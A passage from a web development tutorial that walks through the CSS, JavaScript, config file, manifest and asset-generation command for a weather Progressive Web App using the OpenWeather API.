    <span class="hljs-attribute">justify-content</span>: center;
}

<span class="hljs-selector-class">.location-weather</span>{
    <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">2rem</span>;
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">justify-content</span>: center;
    <span class="hljs-attribute">flex-direction</span>: column;
}


<span class="hljs-selector-id">#weather-icon</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">80px</span>;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">80px</span>;
    <span class="hljs-attribute">margin-right</span>: <span class="hljs-number">1rem</span>;
}

<span class="hljs-selector-class">.location-info</span> {
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1rem</span>;
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">flex-direction</span>: column;
    <span class="hljs-attribute">justify-content</span>: center;
    <span class="hljs-attribute">align-items</span>: center;
}

<span class="hljs-selector-class">.location-info</span> <span class="hljs-selector-tag">h2</span>,  <span class="hljs-selector-class">.current-weather</span> <span class="hljs-selector-tag">h3</span>, <span class="hljs-selector-class">.weather-container</span> <span class="hljs-selector-tag">h3</span>, <span class="hljs-selector-class">.location-weather</span> <span class="hljs-selector-tag">h3</span> {
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.8rem</span>;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">0.25rem</span>;
}



<span class="hljs-selector-class">.location-info</span> <span class="hljs-selector-tag">p</span>, <span class="hljs-selector-class">.current-weather</span> <span class="hljs-selector-tag">p</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#666</span>;
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.4rem</span>;
}

<span class="hljs-selector-class">.temperature-container</span> {
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">flex-direction</span>: column;
    <span class="hljs-attribute">justify-content</span>: center;
    <span class="hljs-attribute">align-items</span>: center;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1rem</span>;
}

<span class="hljs-selector-class">.temperature-container</span> <span class="hljs-selector-tag">h3</span> {
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">2.5rem</span>;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">0.25rem</span>;
}

<span class="hljs-selector-class">.temperature-container</span> <span class="hljs-selector-tag">p</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#666</span>;
    <span class="hljs-attribute">text-transform</span>: capitalize;
}

<span class="hljs-selector-class">.weather-details</span> {
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">justify-content</span>: center;
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#f9f9f9</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">4px</span>;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">1rem</span>;
}

<span class="hljs-selector-id">#humidity-icon</span>, <span class="hljs-selector-id">#wind-icon</span>{
    <span class="hljs-attribute">width</span>: <span class="hljs-number">40px</span>;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">40px</span>;
}

<span class="hljs-selector-class">.detail</span> {
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">flex-direction</span>: column;
    <span class="hljs-attribute">align-items</span>: center;
    <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span> <span class="hljs-number">1rem</span>;
    <span class="hljs-attribute">text-align</span>: center;
}

<span class="hljs-selector-class">.label</span> {
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">0.9rem</span>;
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#666</span>;
    <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">0.25rem</span>;
}

<span class="hljs-selector-class">.value</span> {
    <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.2rem</span>;
    <span class="hljs-attribute">font-weight</span>: <span class="hljs-number">500</span>;
}

<span class="hljs-comment">/* Error and offline message styles */</span>
<span class="hljs-selector-class">.error-message</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#d32f2f</span>;
    <span class="hljs-attribute">text-align</span>: center;
    <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">1rem</span>;
    <span class="hljs-attribute">display</span>: none;
} 

<span class="hljs-selector-class">.offline-message</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#ffab91</span>;
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#7f0000</span>;
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">0.75rem</span>;
    <span class="hljs-attribute">text-align</span>: center;
    <span class="hljs-attribute">margin-top</span>: <span class="hljs-number">1rem</span>;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">4px</span>;
    <span class="hljs-attribute">display</span>: none;
}


<span class="hljs-comment">/* 5 days forecast weather */</span>
<span class="hljs-selector-class">.forecast-container</span> {
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">justify-content</span>: space-around;
    <span class="hljs-attribute">gap</span>: <span class="hljs-number">1rem</span>;
}

<span class="hljs-selector-class">.forecast-item</span> {
    <span class="hljs-attribute">background-color</span>: white;
    <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">8px</span>;
    <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">2px</span> <span class="hljs-number">10px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.1</span>);
    <span class="hljs-attribute">padding</span>: <span class="hljs-number">1rem</span> <span class="hljs-number">4rem</span>;
    <span class="hljs-attribute">text-align</span>: center;
}



<span class="hljs-selector-tag">footer</span> {
    <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#2196f3</span>;
    <span class="hljs-attribute">display</span>: flex;
    <span class="hljs-attribute">align-items</span>: center;
    <span class="hljs-attribute">justify-content</span>: center;
    <span class="hljs-attribute">padding</span>: .<span class="hljs-number">7rem</span> <span class="hljs-number">0</span>;
}

<span class="hljs-selector-tag">footer</span> <span class="hljs-selector-tag">p</span>, <span class="hljs-selector-tag">footer</span> <span class="hljs-selector-tag">a</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#f9f9f9</span>;
    <span class="hljs-attribute">font-weight</span>: <span class="hljs-number">500</span>;
}
<span class="hljs-comment">/* Responsive styles */</span>
<span class="hljs-keyword">@media</span> (<span class="hljs-attribute">max-width:</span> <span class="hljs-number">480px</span>) {
    <span class="hljs-selector-class">.header</span> <span class="hljs-selector-tag">h1</span> {
        <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.2rem</span>;
    }

    <span class="hljs-selector-class">.location-container</span> {
        <span class="hljs-attribute">flex-direction</span>: column;
        <span class="hljs-attribute">align-items</span>: center;
        <span class="hljs-attribute">gap</span>: .<span class="hljs-number">6rem</span>
    }


    <span class="hljs-selector-class">.current-weather</span> {
        <span class="hljs-attribute">flex-direction</span>: column;
        <span class="hljs-attribute">justify-content</span>: center;
        <span class="hljs-attribute">align-items</span>: center;
    }

    <span class="hljs-selector-class">.weather-container</span> <span class="hljs-selector-tag">h3</span>,  <span class="hljs-selector-class">.location-weather</span> <span class="hljs-selector-tag">h3</span>, <span class="hljs-selector-class">.forecast</span> <span class="hljs-selector-tag">h3</span> {
        <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.5rem</span>;
    }

    <span class="hljs-selector-id">#weather-icon</span> {
        <span class="hljs-attribute">margin-right</span>: <span class="hljs-number">0</span>;
        <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1rem</span>;
    }

    <span class="hljs-selector-class">.forecast-container</span> {
        <span class="hljs-attribute">flex-direction</span>: column;
        <span class="hljs-attribute">align-items</span>: center;
    }
}
</code></pre>
<h2 id="heading-how-to-set-up-appjs-and-configjs">How to Set Up <code>app.js</code> and <code>config.js</code></h2>
<p>Now, let's create our <code>app.js</code> file to add functionality to the weather app. Before proceeding, ensure you’ve obtained your <strong>API key</strong> from <a target="_blank" href="https://openweathermap.org/">OpenWeather</a>. For best practice, store your API key in a separate file like <code>config.js</code> to keep things organized and avoid hardcoding sensitive data.</p>
<p>Here's what your <code>config.js</code> should look like:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> CONFIG = {
    <span class="hljs-attr">WEATHER_API_KEY</span>: <span class="hljs-string">"WRITE-YOUR-API-KEY-HERE"</span>,
};
</code></pre>
<p>Ensure you add the <code>config.js</code> file to <code>.gitignore</code> to avoid leaking sensitive information on a public platform like GitHub.</p>
<p>Now let’s move to <code>app.js</code>. This is where the main logic of your weather app will live. You can now reference your API key using <code>Weather_API_KEY</code> from the <code>config.js</code> file.</p>
<p>Below is the structure of your <code>app.js</code> file:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> { CONFIG } <span class="hljs-keyword">from</span> <span class="hljs-string">'./config.js'</span>;
<span class="hljs-keyword">const</span> BASE_URL = <span class="hljs-string">`https://api.openweathermap.org/data/2.5/weather?&amp;appid=<span class="hljs-subst">${CONFIG.WEATHER_API_KEY}</span>&amp;units=metric&amp;q=`</span>;

<span class="hljs-keyword">const</span> cityName = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'location-input'</span>);
<span class="hljs-keyword">const</span> searchButton = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'search-btn'</span>);
<span class="hljs-keyword">const</span> weatherIcon = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'weather-icon'</span>);
<span class="hljs-keyword">const</span> locationBtn = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'locationBtn'</span>);
<span class="hljs-keyword">const</span> weatherInfo = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'weatherInfo'</span>);


<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getWeatherIcon</span>(<span class="hljs-params">condition</span>) </span>{
  <span class="hljs-keyword">switch</span> (condition) {
    <span class="hljs-keyword">case</span> <span class="hljs-string">"Clear"</span>:
      <span class="hljs-keyword">return</span> <span class="hljs-string">"images/weather-icons/clear.png"</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">"Clouds"</span>:
      <span class="hljs-keyword">return</span> <span class="hljs-string">"images/weather-icons/clouds.png"</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">"Drizzle"</span>:
      <span class="hljs-keyword">return</span> <span class="hljs-string">"images/weather-icons/drizzle.png"</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">"Rain"</span>:
      <span class="hljs-keyword">return</span> <span class="hljs-string">"images/weather-icons/drizzle.png"</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">"Mist"</span>:
      <span class="hljs-keyword">return</span> <span class="hljs-string">"images/weather-icons/mist.png"</span>;
    <span class="hljs-keyword">case</span> <span class="hljs-string">"Snow"</span>:
      <span class="hljs-keyword">return</span> <span class="hljs-string">"images/weather-icons/snow.png"</span>;
    <span class="hljs-keyword">default</span>:
      <span class="hljs-keyword">return</span> <span class="hljs-string">"images/weather-icons/default.png"</span>;
  }
}
<span class="hljs-comment">//Search for weather by city name</span>
<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">checkWeatherBySearch</span>(<span class="hljs-params">city</span>)</span>{
    <span class="hljs-keyword">if</span>(city.length == <span class="hljs-number">0</span>) {
        <span class="hljs-built_in">document</span>.getElementsByClassName(<span class="hljs-string">'error'</span>)[<span class="hljs-number">0</span>].style.display = <span class="hljs-string">'block'</span>;
        <span class="hljs-built_in">document</span>.getElementsByClassName(<span class="hljs-string">'error'</span>)[<span class="hljs-number">0</span>].innerHTML = <span class="hljs-string">"Please enter a city name!"</span>;
        <span class="hljs-built_in">document</span>.getElementsByClassName(<span class="hljs-string">'error'</span>)[<span class="hljs-number">0</span>].style.color = <span class="hljs-string">'red'</span>;
        <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'weather-container'</span>).style.display = <span class="hljs-string">'none'</span>; 
        <span class="hljs-keyword">return</span>;
    }
    <span class="hljs-keyword">const</span> response = <span class="hljs-keyword">await</span> fetch(BASE_URL + city);
    <span class="hljs-built_in">document</span>.getElementsByClassName(<span class="hljs-string">'error'</span>)[<span class="hljs-number">0</span>].style.display = <span class="hljs-string">'block'</span>;
    <span class="hljs-built_in">document</span>.getElementsByClassName(<span class="hljs-string">'error'</span>)[<span class="hljs-number">0</span>].innerHTML = <span class="hljs-string">"Wait a sec, your location's data will be displayed soon!"</span>;

    <span class="hljs-keyword">if</span> (response.status == <span class="hljs-number">404</span>) {
        <span class="hljs-built_in">document</span>.getElementsByClassName(<span class="hljs-string">'error'</span>)[<span class="hljs-number">0</span>].style.display = <span class="hljs-string">'block'</span>;
        <span class="hljs-built_in">document</span>.getElementsByClassName(<span class="hljs-string">'error'</span>)[<span class="hljs-number">0</span>].innerHTML = <span class="hljs-string">"City not found! Please enter a valid city name."</span>;
        <span class="hljs-built_in">document</span>.getElementsByClassName(<span class="hljs-string">'error'</span>)[<span class="hljs-number">0</span>].style.color = <span class="hljs-string">'red'</span>;
        <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'weather-container'</span>).style.display = <span class="hljs-string">'none'</span>;       
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-keyword">const</span> data = <span class="hljs-keyword">await</span> response.json();
      <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'weather-container'</span>).style.display = <span class="hljs-string">'block'</span>;
      <span class="hljs-built_in">document</span>.getElementsByClassName(<span class="hljs-string">'error'</span>)[<span class="hljs-number">0</span>].style.display = <span class="hljs-string">'none'</span>;
      <span class="hljs-built_in">localStorage</span>.setItem(<span class="hljs-string">'lastCity'</span>, city);
      <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'city'</span>).innerHTML = data.name;
      <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'date'</span>).innerHTML = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(data.dt * <span class="hljs-number">1000</span>).toLocaleDateString();
      <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"temperature"</span>).innerHTML = <span class="hljs-built_in">Math</span>.round(data.main.temp) + <span class="hljs-string">"°C"</span>;
      <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"humidity"</span>).innerHTML = data.main.humidity + <span class="hljs-string">"%"</span>;
      <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">"wind"</span>).innerHTML = data.wind.speed + <span class="hljs-string">"m/s"</span>;
      <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'weather-description'</span>).innerHTML = data.weather[<span class="hljs-number">0</span>].description;
      <span class="hljs-keyword">const</span> weatherCondition = data.weather[<span class="hljs-number">0</span>].main;
      weatherIcon.src = getWeatherIcon(weatherCondition);
    }
}

 <span class="hljs-comment">// display next 5-day forecast by coordinates</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">display5DaysForecast</span>(<span class="hljs-params">forecast</span>) </span>{
   <span class="hljs-keyword">const</span> fragment = <span class="hljs-built_in">document</span>.createDocumentFragment(); 
    <span class="hljs-keyword">const</span> forecastWrapper = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'div'</span>);
    forecastWrapper.className = <span class="hljs-string">'forecast'</span>;

    <span class="hljs-keyword">const</span> heading = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'h3'</span>);
    heading.innerHTML = <span class="hljs-string">"Your location's next 5 days forecast:"</span>;

    <span class="hljs-keyword">const</span> container = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'div'</span>);
    container.className = <span class="hljs-string">'forecast-container'</span>;

    <span class="hljs-keyword">const</span> addedDates = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Set</span>();
    <span class="hljs-keyword">const</span> today = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>().toDateString();

    forecast.forEach(<span class="hljs-function">(<span class="hljs-params">entry</span>) =&gt;</span> {
      <span class="hljs-keyword">const</span> entryDateObj = <span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(entry.dt * <span class="hljs-number">1000</span>);
      <span class="hljs-keyword">const</span> entryDateStr = entryDateObj.toDateString();

      <span class="hljs-keyword">if</span> (entryDateStr !== today &amp;&amp; !addedDates.has(entryDateStr)) {
        addedDates.add(entryDateStr);
        <span class="hljs-keyword">if</span> (addedDates.size &gt; <span class="hljs-number">6</span>) <span class="hljs-keyword">return</span>;


        <span class="hljs-keyword">const</span> condition = entry.weather[<span class="hljs-number">0</span>].main;
        <span class="hljs-keyword">const</span> iconSrc = getWeatherIcon(condition);

        <span class="hljs-keyword">const</span> forecastItem = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'div'</span>);
        forecastItem.className = <span class="hljs-string">'forecast-item'</span>;

        <span class="hljs-keyword">const</span> date = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'p'</span>);
        date.id = <span class="hljs-string">'date'</span>;
        date.innerHTML = <span class="hljs-string">`&lt;strong&gt;<span class="hljs-subst">${<span class="hljs-keyword">new</span> <span class="hljs-built_in">Date</span>(entry.dt * <span class="hljs-number">1000</span>).toLocaleDateString()}</span>&lt;/strong&gt;`</span>;

        <span class="hljs-keyword">const</span> icon = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'img'</span>);
        icon.loading = <span class="hljs-string">'lazy'</span>;
        icon.id = <span class="hljs-string">'weather-icon'</span>;
        icon.src = iconSrc;
        icon.alt = <span class="hljs-string">`<span class="hljs-subst">${condition}</span> icon`</span>;

        <span class="hljs-keyword">const</span> tempContainer = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'div'</span>);
        tempContainer.className = <span class="hljs-string">'temperature-container'</span>;

        <span class="hljs-keyword">const</span> temp = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'h3'</span>);
        temp.id = <span class="hljs-string">'temperature'</span>;
        temp.innerHTML = <span class="hljs-string">`<span class="hljs-subst">${<span class="hljs-built_in">Math</span>.round(entry.main.temp)}</span> °C`</span>;

        <span class="hljs-keyword">const</span> description = <span class="hljs-built_in">document</span>.createElement(<span class="hljs-string">'p'</span>);
        description.id = <span class="hljs-string">'weather-description'</span>;
        description.innerHTML = <span class="hljs-string">`<span class="hljs-subst">${entry.weather[<span class="hljs-number">0</span>].description}</span>`</span>;

        tempContainer.appendChild(temp);
        tempContainer.appendChild(description);
        forecastItem.appendChild(date);
        forecastItem.appendChild(icon);
        forecastItem.appendChild(tempContainer);
        container.appendChild(forecastItem);
      }
    });

    forecastWrapper.appendChild(heading);
    forecastWrapper.appendChild(container);
    fragment.appendChild(forecastWrapper);
    weatherInfo.appendChild(fragment); 
}

<span class="hljs-comment">// Fetch next 5-day forecast by coordinates</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">get5DaysForecast</span>(<span class="hljs-params">lat, lon</span>) </span>{
    fetch(
      <span class="hljs-string">`https://api.openweathermap.org/data/2.5/forecast?lat=<span class="hljs-subst">${lat}</span>&amp;lon=<span class="hljs-subst">${lon}</span>&amp;appid=<span class="hljs-subst">${CONFIG.WEATHER_API_KEY}</span>&amp;units=metric`</span>
    )
      .then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> res.json())
      .then(<span class="hljs-function"><span class="hljs-params">data</span> =&gt;</span> {
        requestIdleCallback(<span class="hljs-function">() =&gt;</span> {
          <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> display5DaysForecast(data.list), <span class="hljs-number">0</span>);
        });        
      })
      .catch(<span class="hljs-function">() =&gt;</span> {
        weatherInfo.innerHTML = <span class="hljs-string">'Error fetching forecast data.'</span>;
    });
}

 <span class="hljs-comment">// Display current weather data</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">displayUserWeather</span>(<span class="hljs-params">data</span>) </span>{
    <span class="hljs-keyword">const</span> weatherCondition = data.weather[<span class="hljs-number">0</span>].main;
    <span class="hljs-keyword">const</span> iconSrc = getWeatherIcon(weatherCondition);

    weatherInfo.innerHTML = <span class="hljs-string">`
      &lt;h2 id="city"&gt;<span class="hljs-subst">${data.name}</span>, <span class="hljs-subst">${data.sys.country}</span>&lt;/h2&gt;

      &lt;div class="current-weather"&gt;
        &lt;img loading="lazy" id="weather-icon" src="<span class="hljs-subst">${iconSrc}</span>" alt="Weather icon"&gt;
        &lt;div class="temperature-container"&gt;
          &lt;h3 id="temperature"&gt; <span class="hljs-subst">${<span class="hljs-built_in">Math</span>.round(data.main.temp)}</span> °C&lt;/h3&gt;
          &lt;p id="weather-description"&gt;<span class="hljs-subst">${data.weather[<span class="hljs-number">0</span>].description}</span>&lt;/p&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="weather-details"&gt;
        &lt;div class="detail"&gt;
          &lt;img loading="lazy" id="humidity-icon" src="/images/humidity.png" alt="Humidity icon"&gt;
          &lt;span class="label"&gt;Humidity&lt;/span&gt;
          &lt;span id="humidity" class="value"&gt; <span class="hljs-subst">${data.main.humidity}</span>%&lt;/span&gt;
        &lt;/div&gt;
        &lt;div class="detail"&gt;
          &lt;img loading="lazy" id="wind-icon" src="/images/wind.png" alt="Wind icon"&gt;
          &lt;span class="label"&gt;Wind&lt;/span&gt;
          &lt;span id="wind" class="value"&gt; <span class="hljs-subst">${data.wind.speed}</span> m/s&lt;/span&gt;
        &lt;/div&gt;
      &lt;/div&gt;
    `</span>;
  }

<span class="hljs-comment">// Fetch weather by coordinates</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getWeatherByCoords</span>(<span class="hljs-params">lat, lon</span>) </span>{
    fetch(
      <span class="hljs-string">`https://api.openweathermap.org/data/2.5/weather?lat=<span class="hljs-subst">${lat}</span>&amp;lon=<span class="hljs-subst">${lon}</span>&amp;appid=<span class="hljs-subst">${CONFIG.WEATHER_API_KEY}</span>&amp;units=metric`</span>
    )
      .then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> res.json())
      .then(<span class="hljs-function"><span class="hljs-params">data</span> =&gt;</span> {
        displayUserWeather(data);
        get5DaysForecast(lat, lon);
      })
      .catch(<span class="hljs-function">() =&gt;</span> {
        weatherInfo.innerHTML = <span class="hljs-string">'Please turn on your device&amp;apos;s location to get weather data.'</span>;;
      });
  }

<span class="hljs-comment">// Event listeners for search button and input field</span>
cityName.addEventListener(<span class="hljs-string">'keypress'</span>, <span class="hljs-function">(<span class="hljs-params">e</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (e.key === <span class="hljs-string">'Enter'</span>) checkWeatherBySearch(cityName.value);
});

  <span class="hljs-comment">// Search button click event</span>
searchButton.addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function">()=&gt;</span>{
    checkWeatherBySearch(cityName.value);
});

<span class="hljs-comment">// Geolocation button</span>
locationBtn.addEventListener(<span class="hljs-string">'click'</span>, <span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">if</span> (navigator.geolocation) {
      navigator.geolocation.getCurrentPosition(
        <span class="hljs-function"><span class="hljs-params">pos</span> =&gt;</span> {
          <span class="hljs-keyword">const</span> { latitude, longitude } = pos.coords;
          getWeatherByCoords(latitude, longitude);
        },
        <span class="hljs-function">() =&gt;</span> {
          weatherInfo.innerHTML = <span class="hljs-string">'Unable to retrieve location.'</span>;
        }
      );
    } <span class="hljs-keyword">else</span> {
      weatherInfo.innerHTML = <span class="hljs-string">'Geolocation not supported.'</span>;
    }
});


<span class="hljs-comment">// Load last searched city</span>
<span class="hljs-built_in">window</span>.onload = <span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">const</span> lastCity = <span class="hljs-built_in">localStorage</span>.getItem(<span class="hljs-string">'lastCity'</span>);
    <span class="hljs-keyword">if</span> (lastCity) {
        checkWeatherBySearch(lastCity);
    }

    <span class="hljs-keyword">if</span> (navigator.geolocation) {
        navigator.geolocation.getCurrentPosition(
          <span class="hljs-function"><span class="hljs-params">pos</span> =&gt;</span> {
            <span class="hljs-keyword">const</span> { latitude, longitude } = pos.coords;
            getWeatherByCoords(latitude, longitude);
          },
          <span class="hljs-function">() =&gt;</span> {
            weatherInfo.innerHTML = <span class="hljs-string">'Unable to retrieve location.'</span>;
          }
        );
      } <span class="hljs-keyword">else</span> {
        weatherInfo.innerHTML = <span class="hljs-string">'Geolocation not supported.'</span>;
      }
};
</code></pre>
<p>Now that we have our weather app. Let’s go further to make it a progressive web app.</p>
<h2 id="heading-how-to-create-a-manifest-file">How to Create a Manifest File</h2>
<p>We need to create a <code>manifest.json</code> file, a critical part of making your app a PWA. We’ll also use <a target="_blank" href="https://www.npmjs.com/package/pwa-asset-generator"><strong>pwa-asset-generator</strong></a>, a CLI tool that helps you to generate all the necessary icons and splash screens from a single image (like your logo). This tool also updates your <code>manifest.json</code> and optionally injects relevant <code>&lt;link&gt;</code> tags into <code>index.html</code>.</p>
<p>Below is the <code>manifest.json</code> file containing key properties that define how the Progressive Web App behaves and appears when installed.</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"name"</span>: <span class="hljs-string">"Weatherly"</span>,                      <span class="hljs-comment">// The full name of your app that may be shown to users.</span>
  <span class="hljs-attr">"short_name"</span>: <span class="hljs-string">"Weatherly"</span>,               <span class="hljs-comment">// A shorter name used when space is limited, like on the home screen.</span>
  <span class="hljs-attr">"description"</span>: <span class="hljs-string">"A simple weather Progressive Web App"</span>, <span class="hljs-comment">// A short description of what your app does.</span>
  <span class="hljs-attr">"start_url"</span>: <span class="hljs-string">"/index.html"</span>,              <span class="hljs-comment">// The page that opens when the app is launched from the home screen.</span>
  <span class="hljs-attr">"display"</span>: <span class="hljs-string">"standalone"</span>,                 <span class="hljs-comment">// Makes the app look like a native app without browser UI (like address bar).</span>
  <span class="hljs-attr">"background_color"</span>: <span class="hljs-string">"#ffffff"</span>,           <span class="hljs-comment">// The background color used when the app is loading.</span>
  <span class="hljs-attr">"theme_color"</span>: <span class="hljs-string">"#2196f3"</span>,                <span class="hljs-comment">// The main color of the app’s UI, like the status bar.</span>
  <span class="hljs-attr">"orientation"</span>: <span class="hljs-string">"portrait"</span>,                <span class="hljs-comment">// Locks the screen orientation to portrait mode.</span>
   <span class="hljs-attr">"screenshots"</span>: [                         <span class="hljs-comment">//helps show users a preview of your app before installing it — especially in places like the "Add to Home screen" prompt on Android or in app stores that support PWAs.</span>
        {
          <span class="hljs-attr">"src"</span>: <span class="hljs-string">"images/screenshots/desktop-screenshot.png"</span>,
          <span class="hljs-attr">"sizes"</span>: <span class="hljs-string">"1337x645"</span>,
          <span class="hljs-attr">"type"</span>: <span class="hljs-string">"image/png"</span>,
          <span class="hljs-attr">"form_factor"</span>: <span class="hljs-string">"wide"</span>
        },
        {
          <span class="hljs-attr">"src"</span>: <span class="hljs-string">"images/screenshots/mobile-screenshot.png"</span>,
          <span class="hljs-attr">"sizes"</span>: <span class="hljs-string">"720x1417"</span>,
          <span class="hljs-attr">"type"</span>: <span class="hljs-string">"image/png"</span>,
          <span class="hljs-attr">"form_factor"</span>: <span class="hljs-string">"narrow"</span>
        }
      ]
}
</code></pre>
<h3 id="heading-how-to-generate-icons-and-splash-screens">How to Generate Icons and Splash Screens</h3>
<p>Inside your <code>images</code> folder, create a new folder called <code>assets</code>. This will store all the generated icons and splash screens. When your app is launched from the home screen, these splash screens will help improve the user experience on iOS devices.</p>
<p>Run the following command to generate PWA assets, update the <code>manifest.json</code>, and inject <code>&lt;link&gt;</code> tags into <code>index.html</code></p>
<pre><code class="lang-powershell">npx pwa<span class="hljs-literal">-asset</span><span class="hljs-literal">-generator</span> logo.png ./images/assets <span class="hljs-literal">-m</span> manifest.json <span class="hljs-literal">-i</span> index.html
</code></pre>
<h3 id="heading-injected-link-tags-in-indexhtml">Injected Link Tags in <code>index.html</code></h3>
<p>Once the command runs successfully, a series of <code>&lt;link&gt;</code> and <code>&lt;meta&gt;</code> Tags will be automatically added to your <code>index.html</code> <code>&lt;head&gt;</code>. These tags ensure support for splash screens and icons across various Apple devices:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">charset</span>=<span class="hljs-string">"UTF-8"</span> /&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"viewport"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"width=device-width, initial-scale=1.0"</span> /&gt;</span>
  <span class="hljs-comment">&lt;!-- Other meta/link tags --&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"apple-touch-icon"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"images/assets/apple-icon-180.png"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"mobile-web-app-capable"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"yes"</span>&gt;</span>

  <span class="hljs-tag">&lt;<span class="hljs-name">link</span> <span class="hljs-attr">rel</span>=<span class="hljs-string">"apple-touch-startup-image"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"images/assets/apple-splash-2048-2732.jpg"</span> <span class="hljs-attr">media</span>=<span class="hljs-string">"(device-width: 1024px) and (device-height: 1366px) and (orientation: portrait)"</span>&gt;</span>
